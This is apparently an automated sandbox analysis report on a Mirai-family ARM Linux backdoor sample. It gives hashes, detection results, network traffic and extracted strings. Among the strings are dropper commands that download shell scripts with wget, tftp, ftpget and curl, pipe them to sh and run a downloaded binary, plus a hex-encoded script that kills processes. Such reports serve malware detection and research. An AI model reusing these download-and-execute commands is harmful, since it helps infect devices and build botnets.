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Linux Analysis Report
splarm6.elf

Overview

General Information

Sample name:splarm6.elf
Analysis ID:1643407
MD5:4fcacf83b156507c9f35673d041936b5
SHA1:51d5e58b6099d17d76d4e074cac89f4c48c7bcd2
SHA256:17b18cc15c422254a4c6417ea4e3e1b07b4da4822d706e17690f55c1c0275e43
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643407
Start date and time:2025-03-19 20:18:30 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 26s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:splarm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
Command:/tmp/splarm6.elf
PID:6215
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • splarm6.elf (PID: 6215, Parent: 6132, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: splarm6.elfVirustotal: Detection: 44%Perma Link
Source: splarm6.elfReversingLabs: Detection: 41%
Source: splarm6.elfString: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: splarm6.elfString found in binary or memory: http:///curl.sh
Source: splarm6.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sampleString containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /tmp/splarm6.elf (PID: 6215)Queries kernel information via 'uname': Jump to behavior
Source: splarm6.elf, 6215.1.00007ffc62de1000.00007ffc62e02000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm6.elf
Source: splarm6.elf, 6215.1.000055a09d242000.000055a09d370000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm6.elf, 6215.1.000055a09d242000.000055a09d370000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: splarm6.elf, 6215.1.00007ffc62de1000.00007ffc62e02000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: splarm6.elf, 6215.1.00007ffc62de1000.00007ffc62e02000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643407 Sample: splarm6.elf Startdate: 19/03/2025 Architecture: LINUX Score: 48 8 109.202.202.202, 80 INIT7CH Switzerland 2->8 10 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->10 12 91.189.91.43, 443 CANONICAL-ASGB United Kingdom 2->12 14 Multi AV Scanner detection for submitted file 2->14 6 splarm6.elf 2->6         started        signatures3 process4

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
splarm6.elf44%VirustotalBrowse
splarm6.elf42%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches

Download Network PCAP: filteredfull

No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shsplarm6.elffalse
    high
    http:///curl.shsplarm6.elffalse
      high
      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPDomainCountryFlagASNASN NameMalicious
      109.202.202.202
      unknownSwitzerland
      13030INIT7CHfalse
      91.189.91.43
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      91.189.91.42
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
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                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):6.073482177847911
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:splarm6.elf
                                              File size:71'824 bytes
                                              MD5:4fcacf83b156507c9f35673d041936b5
                                              SHA1:51d5e58b6099d17d76d4e074cac89f4c48c7bcd2
                                              SHA256:17b18cc15c422254a4c6417ea4e3e1b07b4da4822d706e17690f55c1c0275e43
                                              SHA512:19b865005e42306d1aba395b6ff332dc35a938c85179d9ac8b0a940cb50316cec1ae47fd6c607385920bfc98ab5ea7f803c1676d48c6c21ae8e3980f935e2693
                                              SSDEEP:1536:BOn+btKh5WaAcn46HhqqEWOcL4oLsIYjc+XH/33FM/ijQyOdI0XPbbBR:pt25Xn46HgqEWPL7KcsQyOdI0XPb
                                              TLSH:B963E796F882CA62C5D452BAFA1E11CD331317B8E2DF7313DD106B157B8A92B0E7B542
                                              File Content Preview:.ELF..............(.....T...4...........4. ...(.....................................................x...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../...............-.@0....S

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, little endian
                                              Version:1 (current)
                                              Machine:ARM
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x8154
                                              Flags:0x4000002
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:71304
                                              Section Header Size:40
                                              Number of Section Headers:13
                                              Header String Table Index:12
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x80940x940x100x00x6AX004
                                              .textPROGBITS0x80b00xb00x1031c0x00x6AX0016
                                              .finiPROGBITS0x183cc0x103cc0x100x00x6AX004
                                              .rodataPROGBITS0x183dc0x103dc0xfbc0x00x2A004
                                              .init_arrayINIT_ARRAY0x2139c0x113a00x40x00x3WA004
                                              .fini_arrayFINI_ARRAY0x213a00x113a40x40x00x3WA004
                                              .jcrPROGBITS0x213a40x113a80x40x00x3WA004
                                              .gotPROGBITS0x213a80x113ac0x740x40x3WA004
                                              .dataPROGBITS0x2141c0x114200x1f40x00x3WA004
                                              .bssNOBITS0x216100x116140x35580x00x3WA004
                                              .ARM.attributesARM_ATTRIBUTES0x00x116140x100x00x0001
                                              .shstrtabSTRTAB0x00x116240x620x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x80000x80000x113980x113986.09690x5R E0x8000.init .text .fini .rodata
                                              LOAD0x1139c0x2139c0x213980x2780xb7cc3.26410x6RW 0x8000.init_array .fini_array .jcr .got .data .bss
                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                              Download Network PCAP: filteredfull

                                              • Total Packets: 8
                                              • 443 (HTTPS)
                                              • 80 (HTTP)
                                              TimestampSource PortDest PortSource IPDest IP
                                              Mar 19, 2025 20:19:08.854017019 CET43928443192.168.2.2391.189.91.42
                                              Mar 19, 2025 20:19:14.229407072 CET42836443192.168.2.2391.189.91.43
                                              Mar 19, 2025 20:19:15.765033007 CET4251680192.168.2.23109.202.202.202
                                              Mar 19, 2025 20:19:29.843233109 CET43928443192.168.2.2391.189.91.42
                                              Mar 19, 2025 20:19:40.081698895 CET42836443192.168.2.2391.189.91.43
                                              Mar 19, 2025 20:19:46.224883080 CET4251680192.168.2.23109.202.202.202
                                              Mar 19, 2025 20:20:10.797517061 CET43928443192.168.2.2391.189.91.42
                                              Mar 19, 2025 20:20:31.274652958 CET42836443192.168.2.2391.189.91.43

                                              System Behavior

                                              Start time (UTC):19:19:08
                                              Start date (UTC):19/03/2025
                                              Path:/tmp/splarm6.elf
                                              Arguments:/tmp/splarm6.elf
                                              File size:4956856 bytes
                                              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1